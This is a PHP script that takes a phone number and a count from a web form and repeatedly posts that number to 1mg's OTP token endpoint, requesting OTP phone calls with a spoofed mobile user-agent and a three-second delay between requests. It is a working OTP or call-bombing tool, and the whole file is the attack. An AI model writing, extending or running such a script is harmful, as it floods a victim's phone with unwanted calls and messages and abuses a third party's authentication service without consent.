<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $number = $_POST['numberThree'];
    $amount = $_POST['amountThree'];
    $delay = 3;

    //function call here
    sendOtp($number, $amount, $delay);
}

function sendOtp($number, $amount, $delay)
{
    //1mg 1
    function function1($number)
    {
        $url = "https://www.1mg.com/pwa-api/auth/create_token";

        $headers = array(
            "Host: www.1mg.com",
            "content-type: application/json",
            "user-agent: Mozilla/5.0 (Linux; Android 9; Redmi Note 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.",
        
        );
        
        $data = '{"number":"' . $number . '","otp_on_call":true}';
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, false);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        
        $response = curl_exec($ch);
        $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        echo $status_code;
    }


    //End of all api's

    for ($i = 0; $i < $amount; $i++) {
        switch ($i % 1) {
            case 0:
                function1($number);
                sleep($delay);
                break;
        }

    }
}
?>